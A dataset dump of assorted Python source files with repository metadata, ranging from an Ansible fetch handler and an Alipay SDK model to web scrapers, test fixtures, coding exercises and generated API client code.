Python
false
false
5,670
py
def run(self, tmp=None, task_vars=None): ' handler for fetch operations ' if (task_vars is None): task_vars = dict() result = super(ActionModule, self).run(tmp, task_vars) if self._play_context.check_mode: result['skipped'] = True result['msg'] = 'check mode not (yet) supported...
[ "dg1732004@smail.nju.edu.cn" ]
dg1732004@smail.nju.edu.cn
d63e37f24e963205d5ab81509b9fb9b544d6dc56
0b01cb61a4ae4ae236a354cbfa23064e9057e434
/alipay/aop/api/domain/InvoiceQueryOpenModel.py
e4a1f2eb763c0a192adc00a055403a1ea79f277d
[ "Apache-2.0" ]
permissive
hipacloud/alipay-sdk-python-all
e4aec2869bf1ea6f7c6fb97ac7cc724be44ecd13
bdbffbc6d5c7a0a3dd9db69c99443f98aecf907d
refs/heads/master
2022-11-14T11:12:24.441822
2020-07-14T03:12:15
2020-07-14T03:12:15
277,970,730
0
0
Apache-2.0
2020-07-08T02:33:15
2020-07-08T02:33:14
null
UTF-8
Python
false
false
18,343
py
#!/usr/bin/env python # -*- coding: utf-8 -*- import json from alipay.aop.api.constant.ParamConstants import * from alipay.aop.api.domain.InvoiceItemQueryOpenModel import InvoiceItemQueryOpenModel from alipay.aop.api.domain.InvoiceTitleQueryOpenModel import InvoiceTitleQueryOpenModel class InvoiceQueryOpenModel(obje...
[ "liuqun.lq@alibaba-inc.com" ]
liuqun.lq@alibaba-inc.com
c3538eb3371b01aba72df474025a27cb07554102
bb160d2fc2c6182c4ca56c8e4635a14215f8c70f
/test_module/collector_test.py
d89697bcb6a78e55d06285541f3c33103c1160c4
[]
no_license
bitacademy-howl/Music_Recommendation_mod
9464ed941ff722123457ba18cf35bccee3640b9b
94a430df1c65dc4b930f46ade4576bff95b6c27e
refs/heads/master
2020-03-27T15:18:21.725593
2018-11-05T08:55:45
2018-11-05T08:55:45
146,709,303
0
0
null
null
null
null
UTF-8
Python
false
false
7,630
py
import datetime import time from bs4 import BeautifulSoup import modules.collection.crawler as cw from db_accessing import * from db_accessing.VO import Music_VO, Artist_VO, Album_VO from modules.collection.urlMaker import UrlMaker class Collector: def crawling_mnet_month_chart(url): # crawling_from_chart...
[ "howl1118@gmail.com" ]
howl1118@gmail.com
62ccef834d24c047c8d8308cd15dcbfcacd02062
49663ea34b41c8180d7484f778f5cad2e701d220
/tests/restapi/conftest.py
8915e5344b0b69e02c6d33ddb2f2045958be013b
[ "LicenseRef-scancode-generic-cla", "Apache-2.0" ]
permissive
stepanblyschak/sonic-mgmt
ed08c98e7bff1615b057daa8711686aa5986073d
a1ae1e0b4e9927e6f52916f76121780d19ec3e54
refs/heads/master
2023-04-07T01:30:11.403900
2023-03-29T10:16:52
2023-03-29T10:16:52
135,678,178
0
0
NOASSERTION
2023-03-29T16:13:55
2018-06-01T06:41:49
Python
UTF-8
Python
false
false
4,694
py
import logging import pytest import urllib3 from six.moves.urllib.parse import urlunparse from tests.common import config_reload from tests.common.helpers.assertions import pytest_require as pyrequire from tests.common.helpers.dut_utils import check_container_state from helper import apply_cert_config RESTAPI_CONTAI...
[ "noreply@github.com" ]
stepanblyschak.noreply@github.com
80954ebe7830dd8dfab25e0a013922bc01815edb
160ff0dbe7f9e5d740faa3ce13302190e1e5f1f0
/Calc.py
db893a216b2d9cc553077be5697b83b7af2224fd
[]
no_license
sivatoms/PyReddy
9a84e1568e9ee6c16c2b51ba6044059d31ae62dd
fcc0ab8705d409c6b609f9b5f5cffb8900dd8eb7
refs/heads/master
2021-06-26T17:42:43.104598
2021-01-20T21:40:06
2021-01-20T21:40:06
197,511,789
0
0
null
null
null
null
UTF-8
Python
false
false
187
py
from Demo import wish def add(a,b): print(a+b) def sub(a,b): print(a-b) def mul(a,b): print(a*b) def div(a,b): print(a/b) wish() print("This is second modules")
[ "sivatoms@gmail.com" ]
sivatoms@gmail.com
03ff54224dfdb710b2127f90b62adc825688daf5
419637376e445ec9faf04c877d5fb6c09d15903f
/steam/admin/activity/productAuditService.py
ec92efa0a2a88750d9fbbdda4e0b8a68c42dbce8
[]
no_license
litaojun/steamOmTest
e4203df30acafaa5e282631d77429c0e4483fb88
86f84dbd802d947198823e02c2f1ba2695418a76
refs/heads/master
2020-04-02T21:48:55.115389
2019-07-11T06:08:27
2019-07-11T06:08:27
154,812,217
0
0
null
null
null
null
UTF-8
Python
false
false
442
py
from steam.util.httpUopService import HttpUopService from opg.bak.uopService import decorator class ProductAuditService(HttpUopService): ''' 审核活动 ''' def __init__(self, kwargs): super(ProductAuditService, self).__init__(module = "", filename = "", sqlvalu...
[ "li.taojun@opg.cn" ]
li.taojun@opg.cn
a0b916ba59d2287f975c8dd6cacb536734ae2464
02a39e3492b37e612a7076fe35bc2c2a08e3426e
/ml/rl/test/preprocessing/test_feature_extractor.py
aa4c899cec483d6904b1c6ba26e6301559e6b45d
[ "BSD-3-Clause" ]
permissive
xuegangwu2016/Horizon
a0fd11c3bd3c763a07d113fbc6fd51d50a15252d
a7633d8375240b757b34645a1fbebb809d2eabf2
refs/heads/master
2020-04-10T08:11:56.004183
2018-12-07T06:40:34
2018-12-07T06:43:09
null
0
0
null
null
null
null
UTF-8
Python
false
false
27,018
py
#!/usr/bin/env python3 # Copyright (c) Facebook, Inc. and its affiliates. All rights reserved. import unittest import numpy as np import numpy.testing as npt from caffe2.python import schema, workspace from ml.rl import types as rlt from ml.rl.preprocessing.feature_extractor import ( PredictorFeatureExtractor, ...
[ "facebook-github-bot@users.noreply.github.com" ]
facebook-github-bot@users.noreply.github.com
043726843b64f7026111458e53c6551599ad3e12
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p03328/s713805169.py
9bf51a8dd2d62f9ce6c096b400cb84417951bd79
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
454
py
import sys import math import itertools import collections import heapq import re import numpy as np from functools import reduce rr = lambda: sys.stdin.readline().rstrip() rs = lambda: sys.stdin.readline().split() ri = lambda: int(sys.stdin.readline()) rm = lambda: map(int, sys.stdin.readline().split()) rl = lambda: ...
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
f096553bf112edde9a685cccede57835e9c15dd8
392a35174450d1151d276481be4bb4c1ed1fc841
/chapter-05/Q06_conversion.py
d280bd750de009a1f698bee7dc71814d7822e90f
[]
no_license
jcockbain/ctci-solutions
8f96a87532a7581cdfc55c29c8684fcdfab77a62
6854e9f6c7074ae22e01c3e5f6c03f641e507cd7
refs/heads/master
2023-01-15T16:59:58.038900
2020-11-28T09:14:36
2020-11-28T09:14:36
202,898,842
6
0
null
2020-11-28T09:14:37
2019-08-17T15:33:25
Python
UTF-8
Python
false
false
254
py
import unittest def conversion(n1, n2): c = n1 ^ n2 count = 0 while c: c &= c - 1 count += 1 return count class Test(unittest.TestCase): def test_conversion(self): self.assertEqual(2, conversion(29, 15))
[ "james.cockbain@ibm.com" ]
james.cockbain@ibm.com
d3c04239cbf82fb6c83edd7f0d839a76a25a1fb7
c19ca6779f247572ac46c6f95327af2374135600
/backtrack/leetcode 784 Letter Case Permutation.py
7145ae98631ee4d97b9ba49b7d4cfe96f90f5f24
[]
no_license
clhchtcjj/Algorithm
aae9c90d945030707791d9a98d1312e4c07705f8
aec68ce90a9fbceaeb855efc2c83c047acbd53b5
refs/heads/master
2021-01-25T14:24:08.037204
2018-06-11T14:31:38
2018-06-11T14:31:38
123,695,313
5
0
null
null
null
null
UTF-8
Python
false
false
2,006
py
__author__ = 'CLH' ''' Given a string S, we can transform every letter individually to be lowercase or uppercase to create another string. Return a list of all possible strings we could create. ''' class Solution(object): def __init__(self): self.S = [] self.answer = [] self.total_answ...
[ "15720622991@163.com" ]
15720622991@163.com
56a2b628001cbc8b80e9af74b4972644b513bd67
81407be1385564308db7193634a2bb050b4f822e
/library/lib_study/138_mm_imghdr.py
b2e25a38bf54fb2a4859d179ee87719fc5ae4348
[ "MIT" ]
permissive
gottaegbert/penter
6db4f7d82c143af1209b4259ba32145aba7d6bd3
8cbb6be3c4bf67c7c69fa70e597bfbc3be4f0a2d
refs/heads/master
2022-12-30T14:51:45.132819
2020-10-09T05:33:23
2020-10-09T05:33:23
305,266,398
0
0
MIT
2020-10-19T04:56:02
2020-10-19T04:53:05
null
UTF-8
Python
false
false
210
py
# imghdr模块 推测文件或字节流中的图像的类型 import imghdr print(imghdr.what('bass.gif')) # gif # 可以识别的图像类型 https://docs.python.org/zh-cn/3/library/imghdr.html#imghdr.what
[ "350840291@qq.com" ]
350840291@qq.com
ee9ade01e55751cb4ad59fad7e8007aa52bf3c2d
d5b339d5b71c2d103b186ed98167b0c9488cff09
/marvin/cloudstackAPI/createCounter.py
a4ed8386ce48bc5d359fb2c7235ada34f89378f4
[ "Apache-2.0" ]
permissive
maduhu/marvin
3e5f9b6f797004bcb8ad1d16c7d9c9e26a5e63cc
211205ae1da4e3f18f9a1763f0f8f4a16093ddb0
refs/heads/master
2020-12-02T17:45:35.685447
2017-04-03T11:32:11
2017-04-03T11:32:11
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,275
py
"""Adds metric counter""" from baseCmd import * from baseResponse import * class createCounterCmd (baseCmd): typeInfo = {} def __init__(self): self.isAsync = "true" """Name of the counter.""" """Required""" self.name = None self.typeInfo['name'] = 'string' """S...
[ "int-mccd_jenkins@schubergphilis.com" ]
int-mccd_jenkins@schubergphilis.com
087a67e5405e3ada78f98dc48c3379436a96b3a2
6ac723c541e410f737be68f0af634c738e881d74
/probes.py
abd27d07112f5ce2f0c88bd8935838e6c005df25
[]
no_license
cxrodgers/Adapters
d478616372ca9fbfc55a886d5b384a15b01a7b91
da68169c4bb8d8f3c4df13205df2626635632cb8
refs/heads/master
2022-12-22T07:46:25.588285
2022-12-09T15:21:54
2022-12-09T15:21:54
4,681,174
0
1
null
null
null
null
UTF-8
Python
false
false
3,830
py
"""Pinout for each probe, from channel numbers to Samtec numbers.""" from builtins import range import Adapters ## This is for Adrian's 1x8 shank array # This one goes from "electrode #" (depth?) to "interposer PCB #" adrian_8shank2interposer = Adapters.Adapter( [27, 25, 21, 20, 9], [41, 45, 53, 55, 52], ) #...
[ "xrodgers@gmail.com" ]
xrodgers@gmail.com
161ef121e5f50f8ab2a32b0600ab9a65c050b69b
01b49cefcb2e1aae896a444e525c4cd09aff68be
/nyankobiyori.py
5e84f044fb388d972b61ccd0aeeb3abbcb0436e1
[ "MIT" ]
permissive
ikeikeikeike/scrapy-2ch-summary-spiders
308eccbe83bfc03064ec4b7a9b3952985bf58a15
7142693f25025a09390377649a727cfd33d15af3
refs/heads/master
2020-04-01T18:04:38.319532
2015-01-08T08:30:16
2015-01-08T08:30:16
28,956,442
2
0
null
null
null
null
UTF-8
Python
false
false
3,625
py
# -*- coding: utf-8 -*- import re import itertools from scrapy import log from scrapy.selector import Selector from summaries.items import SummariesItem from thread_float_bbs import ( SequenceAppend, ThreadFloatBbsSpider ) class NyankobiyoriSpider(ThreadFloatBbsSpider): """ for nyankobiyori.com """...
[ "jp.ne.co.jp@gmail.com" ]
jp.ne.co.jp@gmail.com
1e23e7a0136d045d6b3707215f193b71e0e7ee8c
62420e35e497f3026a980f1ab6dd07756eeeae7f
/oparlsync/generate_thumbnails/GenerateThumbnails.py
804a53c257d97dd0ebb4f2b689dcd0deabb6991d
[]
no_license
curiousleo/daemon
b530f528449579ecbb0bd52dee94cbc954bd9b96
d47a5b49ac144b9992ab35ff09f113a94f16bd60
refs/heads/master
2020-04-14T01:56:52.316211
2018-12-30T09:20:18
2018-12-30T09:42:53
163,573,533
0
0
null
2018-12-30T08:38:41
2018-12-30T08:38:41
null
UTF-8
Python
false
false
9,206
py
# encoding: utf-8 """ Copyright (c) 2012 - 2016, Ernesto Ruge All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of condit...
[ "mail@ernestoruge.de" ]
mail@ernestoruge.de
248b8e5a606abc28c5345081f3e44a98c551c887
6450234cc5339e9d05102b25b25ba38e2bd9e4cb
/MonoJetAnalysis/python/defaultMETSamples_mc.py
7e30898207a90d75e9d21b8ec7eea5427d251ec5
[]
no_license
wa01/Workspace
57b87481005c441ab91a8180ddf6ea00b520aca7
47759c6a20473f7a694ca9e3fd4e0e8343c8018c
refs/heads/master
2021-01-15T10:36:55.429420
2014-09-20T17:44:54
2014-09-20T17:44:54
null
0
0
null
null
null
null
UTF-8
Python
false
false
18,897
py
import copy, os, sys allSamples = [] from Workspace.HEPHYPythonTools.createPUReweightingHisto import getPUReweightingUncertainty S10rwHisto = getPUReweightingUncertainty("S10", dataFile = "/data/schoef/tools/PU/MyDataPileupHistogram_Run2012ABCD_60max_true_pixelcorr_Sys0.root") S10rwPlusHisto = getPUReweightingUncerta...
[ "robert.schoefbeck@cern.ch" ]
robert.schoefbeck@cern.ch
09efa3e2cc46a870ee131e9c706297c18b8b44e4
2db5bf5832ddb99e93bb949ace1fad1fde847319
/beginLearn/googleclass/class4/pdtest.py
3b933a6cef80f4c7bb2ba24fc99b874212470863
[]
no_license
RoderickAdriance/PythonDemo
2d92b9aa66fcd77b6f797e865df77fbc8c2bcd14
98b124fecd3a972d7bc46661c6a7de8787b8e761
refs/heads/master
2020-04-06T17:36:46.000133
2018-11-15T07:07:03
2018-11-15T07:07:03
157,666,809
0
0
null
null
null
null
UTF-8
Python
false
false
711
py
import pandas as pd import numpy as np city_names=pd.Series(['San Francisco', 'San Jose', 'Sacramento']) population = pd.Series([852469, 1015785, 485199]) cities = pd.DataFrame({'City name': city_names, 'Population': population}) california_housing_dataframe=pd.read_csv('data.csv') california_housing_dataframe.hist...
[ "1371553306@qq.com" ]
1371553306@qq.com
8c6f22eb0df54d68816c89fd47124609cdda6a8b
e3365bc8fa7da2753c248c2b8a5c5e16aef84d9f
/indices/rhinocero.py
73c56188877d4091cd9bac140d2c91b768e60ab7
[]
no_license
psdh/WhatsintheVector
e8aabacc054a88b4cb25303548980af9a10c12a8
a24168d068d9c69dc7a0fd13f606c080ae82e2a6
refs/heads/master
2021-01-25T10:34:22.651619
2015-09-23T11:54:06
2015-09-23T11:54:06
42,749,205
2
3
null
2015-09-23T11:54:07
2015-09-18T22:06:38
Python
UTF-8
Python
false
false
397
py
ii = [('LyelCPG2.py', 3), ('RogePAV2.py', 6), ('RogePAV.py', 4), ('RennJIT.py', 3), ('ProuWCM.py', 2), ('PettTHE.py', 1), ('ClarGE2.py', 1), ('CoolWHM.py', 5), ('BuckWGM.py', 22), ('LyelCPG.py', 9), ('WestJIT2.py', 4), ('CrocDNL.py', 1), ('KirbWPW2.py', 11), ('BuckWGM2.py', 3), ('FitzRNS4.py', 10), ('CoolWHM3.py', 1), ...
[ "prabhjyotsingh95@gmail.com" ]
prabhjyotsingh95@gmail.com
0a06a2b02ea2ebe7e1e750ff6fcf6079526a4e8e
53dd5d2cfb79edc87f6c606bbfb7d0bedcf6da61
/.history/EMR/zhzd_add_20190618132817.py
d0748388e5fbee29a405014068576007a52ae777
[]
no_license
cyc19950621/python
4add54894dc81187211aa8d45e5115903b69a182
d184b83e73334a37d413306d3694e14a19580cb0
refs/heads/master
2020-04-11T20:39:34.641303
2019-07-02T12:54:49
2019-07-02T12:54:49
162,078,640
0
0
null
null
null
null
UTF-8
Python
false
false
766
py
import time import math import os import sys import os, os.path,shutil import codecs import EMRdef import re import pandas as pd emrtxts = EMRdef.txttq(u'D:\DeepLearning ER\EHRzhzd5')#txt目录提取 emrtxt2s = EMRdef.txttq(u'D:\DeepLearning ER\EHRsex') ryzd = [] for emrtxt in emrtxts: f = open(emrtxt,'r',errors="ignore")...
[ "1044801968@qq.com" ]
1044801968@qq.com
953d8bc38856a27f6a9df03d5819e05e01559c06
646b0a41238b96748c7d879dd1bf81858651eb66
/src/mdt/orm/GulpOpt.py
177f7a316baa5b0cda918805763bfe60e8fcfac3
[]
no_license
danse-inelastic/molDynamics
ded0298f8219064e086472299e1383d3dff2dac3
c8e0bfd9cb65bcfc238e7993b6e7550289d2b219
refs/heads/master
2021-01-01T19:42:29.904390
2015-05-03T17:27:38
2015-05-03T17:27:38
34,993,746
0
0
null
null
null
null
UTF-8
Python
false
false
1,749
py
#!/usr/bin/env python # # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # # J Brandon Keith, Jiao Lin # California Institute of Technology # (C) 2006-2011 All Rights Reserved # # {LicenseText} # # ~~~~~~~~~~~~~~~~~~~~~~...
[ "linjiao@caltech.edu" ]
linjiao@caltech.edu
01b65fa62f033ee2bb173040766119fcba0b4fe2
91d1a6968b90d9d461e9a2ece12b465486e3ccc2
/pinpoint_write_2/endpoint_delete.py
cf53331aefddda4f6a700adcbf0325709acdb957
[]
no_license
lxtxl/aws_cli
c31fc994c9a4296d6bac851e680d5adbf7e93481
aaf35df1b7509abf5601d3f09ff1fece482facda
refs/heads/master
2023-02-06T09:00:33.088379
2020-12-27T13:38:45
2020-12-27T13:38:45
318,686,394
0
0
null
null
null
null
UTF-8
Python
false
false
1,101
py
#!/usr/bin/python # -*- codding: utf-8 -*- import os import sys sys.path.append(os.path.dirname(os.path.abspath(os.path.dirname(__file__)))) from common.execute_command import write_two_parameter # url : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/pinpoint/delete-endpoint.html if __name__ == '__...
[ "hcseo77@gmail.com" ]
hcseo77@gmail.com
702d222428773d4309d41c11af3522790b2d2bc0
59166105545cdd87626d15bf42e60a9ee1ef2413
/dbpedia/models/mayor.py
6526d40de4f17f276f8ee52b9b8af54cfc7af7e8
[]
no_license
mosoriob/dbpedia_api_client
8c594fc115ce75235315e890d55fbf6bd555fa85
8d6f0d04a3a30a82ce0e9277e4c9ce00ecd0c0cc
refs/heads/master
2022-11-20T01:42:33.481024
2020-05-12T23:22:54
2020-05-12T23:22:54
null
0
0
null
null
null
null
UTF-8
Python
false
false
233,338
py
# coding: utf-8 """ DBpedia This is the API of the DBpedia Ontology # noqa: E501 The version of the OpenAPI document: v0.0.1 Generated by: https://openapi-generator.tech """ import pprint import re # noqa: F401 import six from dbpedia.configuration import Configuration class Mayor(object): ...
[ "maxiosorio@gmail.com" ]
maxiosorio@gmail.com
210ea9a60a611db409d76c3c0405210c78d2cfcc
2b7cd8141d6c17572c05d4d70e3e616e02449e72
/python/GafferSceneUI/CollectScenesUI.py
341298801206215eb7677d5fcea14b99ce048bf9
[ "BSD-3-Clause" ]
permissive
gray10b/gaffer
45aefd4ebbf515d5b491777a3bfd027d90715114
828b3b59f1154b0a14020cbf9a292c9048c09968
refs/heads/master
2021-01-02T09:11:13.137347
2017-08-04T05:07:31
2017-08-04T05:07:31
99,158,553
0
0
null
2017-08-02T20:34:13
2017-08-02T20:34:13
null
UTF-8
Python
false
false
3,233
py
########################################################################## # # Copyright (c) 2017, Image Engine Design Inc. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistrib...
[ "thehaddonyoof@gmail.com" ]
thehaddonyoof@gmail.com
f2dbfe14a65b0edc19d892ddcc7a57467691b220
f87f51ec4d9353bc3836e22ac4a944951f9c45c0
/.history/HW01_20210624144937.py
b9d45c1f373833420f3987ed361ba22bbc6b3abd
[]
no_license
sanjayMamidipaka/cs1301
deaffee3847519eb85030d1bd82ae11e734bc1b7
9ddb66596497382d807673eba96853a17884d67b
refs/heads/main
2023-06-25T04:52:28.153535
2021-07-26T16:42:44
2021-07-26T16:42:44
389,703,530
0
0
null
null
null
null
UTF-8
Python
false
false
2,177
py
""" Georgia Institute of Technology - CS1301 HW01 - Functions and Expressions Collaboration Statement: """ ######################################### """ Function Name: bake() Parameters: cakes (int), cupcakes (int), cookies (int) Returns: None """ def bake(cakes, cupcakes, cookies): cake_time = cake...
[ "sanjay.mamidipaka@gmail.com" ]
sanjay.mamidipaka@gmail.com
28ce163f3b9cf5eb8781bca648c833347a56180a
47b4d76e9c87e6c45bab38e348ae12a60a60f94c
/Mutation_Modules/ILE_VAL.py
1febf610cbd99aa48137a62bd7106f55e86ea931
[]
no_license
PietroAronica/Parasol.py
9bc17fd8e177e432bbc5ce4e7ee2d721341b2707
238abcdc2caee7bbfea6cfcdda1ca705766db204
refs/heads/master
2021-01-10T23:57:40.225140
2020-10-14T02:21:15
2020-10-14T02:21:15
70,791,648
0
0
null
null
null
null
UTF-8
Python
false
false
12,858
py
# ILE to VAL Mutation import Frcmod_creator import PDBHandler import Leapy from parmed.tools.actions import * from parmed.amber.readparm import * def parmed_command(vxi='VXI', lipid='No'): bc = {} with open('Param_files/AminoAcid/ILE.param', 'r') as b: data = b.readlines()[1:] for lin...
[ "pietro.ga.aronica@gmail.com" ]
pietro.ga.aronica@gmail.com
19e5b00f91bf0b3b5006b61638f0eaf93703a415
cbfb679bd068a1153ed855f0db1a8b9e0d4bfd98
/leet/facebook/strings_arrays/implement_trie(prefix_tree).py
d2417b0002dda188bd8067925406649cf3692fca
[]
no_license
arsamigullin/problem_solving_python
47715858a394ba9298e04c11f2fe7f5ec0ee443a
59f70dc4466e15df591ba285317e4a1fe808ed60
refs/heads/master
2023-03-04T01:13:51.280001
2023-02-27T18:20:56
2023-02-27T18:20:56
212,953,851
0
0
null
null
null
null
UTF-8
Python
false
false
3,538
py
# this solution is slow but looks right # we declared TrieNode. It store list of TrieNodes inside of length 26 class TrieNode: def __init__(self): self.links = [None] * 26 self.end = False def get(self, char): return self.links[ord(char) - ord('a')] def contains(self, char): ...
[ "ar.smglln@gmail.com" ]
ar.smglln@gmail.com
bd99ee4471270f22b8beb7ca1b17ae9959c13aaf
5b39000731517e9e77db789f2d253fd8dd1bbcda
/gamesapi/gamesapi/urls.py
e87a1ec8d70bd1ded577a1eb37dcf1bfc7176ec9
[]
no_license
bunnycast/RestAPI
831a01c592ff91bebb410f060aaa8f19c7b40361
1f2b6837342a04c59752119eebb16a7eeeecaa4c
refs/heads/master
2022-11-16T21:25:26.485393
2020-07-20T03:12:52
2020-07-20T03:12:52
276,662,261
0
0
null
null
null
null
UTF-8
Python
false
false
910
py
"""gamesapi URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/3.0/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-base...
[ "berzzubunny@gmail.com" ]
berzzubunny@gmail.com
37c1b77dd3586311b40f194e2b54e9d3196a58e6
f874b3bffdf98ea52a12f9cd08566557e33d4c98
/extract_info.py
661aedd6a01faa476fa02e92316332480fa98e79
[ "Apache-2.0" ]
permissive
lmorillas/recursoscaa
8e567246f722a38a7fb61dd6a884fd0d153cd338
bac2ff39d67028ca8d4969d23f5061f09be59a0e
refs/heads/master
2018-12-28T00:24:31.042017
2015-08-29T08:13:23
2015-08-29T08:13:23
32,229,559
0
0
null
null
null
null
UTF-8
Python
false
false
2,684
py
from amara.bindery import html from amara.lib import U from urlparse import urljoin doc = html.parse('http://es.slideshare.net/JosManuelMarcos/presentations') doc2 = html.parse('http://es.slideshare.net/JosManuelMarcos/presentations/2') links = [] datos = [] def extract_links(doc): return doc.xml_select('//ul[@...
[ "morillas@gmail.com" ]
morillas@gmail.com
d7043a83bf47e5a0fc3d1216e5b5cab408f81ede
11a246743073e9d2cb550f9144f59b95afebf195
/advent/2017/day8.py
6b9e3586e8658bcf41dbd5263b00183231315b58
[]
no_license
ankitpriyarup/online-judge
b5b779c26439369cedc05c045af5511cbc3c980f
8a00ec141142c129bfa13a68dbf704091eae9588
refs/heads/master
2020-09-05T02:46:56.377213
2019-10-27T20:12:25
2019-10-27T20:12:25
219,959,932
0
1
null
2019-11-06T09:30:58
2019-11-06T09:30:57
null
UTF-8
Python
false
false
574
py
from collections import * import itertools import random import sys def main(): d = defaultdict(int) ans = -19 for line in sys.stdin: words = line.strip().split() d_reg = words[0] sgn = 1 if words[1] == 'inc' else -1 amt = int(words[2]) reg = words[4] e = wo...
[ "arnavsastry@gmail.com" ]
arnavsastry@gmail.com
ef5631e014a978f3699b26c20792af4d65ded2c5
c6c002d37878c78f9199e30a6d0c2127257552e0
/ctrls/Goal6_8/G6_8Pos7_1Ori2.py
ffd26bb34a11c4d3f06839ccabb29ad14464f64e
[]
no_license
carrilloec12/FireUAVs
900a79810a5d610dc467fe82fa276bb14b7ffe9d
019f12a947fa4d5bcc99d20ccb85925160430370
refs/heads/master
2020-03-21T08:03:10.478162
2018-06-22T15:09:50
2018-06-22T15:09:50
138,316,479
0
0
null
2018-06-22T15:06:54
2018-06-22T15:06:54
null
UTF-8
Python
false
false
24,090
py
class TulipStrategy(object): """Mealy transducer. Internal states are integers, the current state is stored in the attribute "state". To take a transition, call method "move". The names of input variables are stored in the attribute "input_vars". Automatically generated by tulip.dumpsmach...
[ "jshaffe9@terpmail.umd.edu" ]
jshaffe9@terpmail.umd.edu
ac0f764daad78adf59a5a4d76ef3847794467db5
a86dd51331fe333d2ad5ad6e88cec8e2993b1b56
/nodeconfeu_watch/convert/__init__.py
63c2729139fbef6bd859bc44be1c6c337840f758
[ "Apache-2.0" ]
permissive
paulcockrell/nodeconfeu-gesture-models
792c5ae6ce0153964c05372ccf14d579922c5976
db645fa914bdc634d5888d40b2d5d75262506ccd
refs/heads/master
2022-08-28T21:10:17.452641
2020-05-15T15:47:30
2020-05-15T15:47:30
264,165,155
0
0
NOASSERTION
2020-05-15T10:29:57
2020-05-15T10:29:56
null
UTF-8
Python
false
false
40
py
from .export_tflite import ExportModel
[ "amwebdk@gmail.com" ]
amwebdk@gmail.com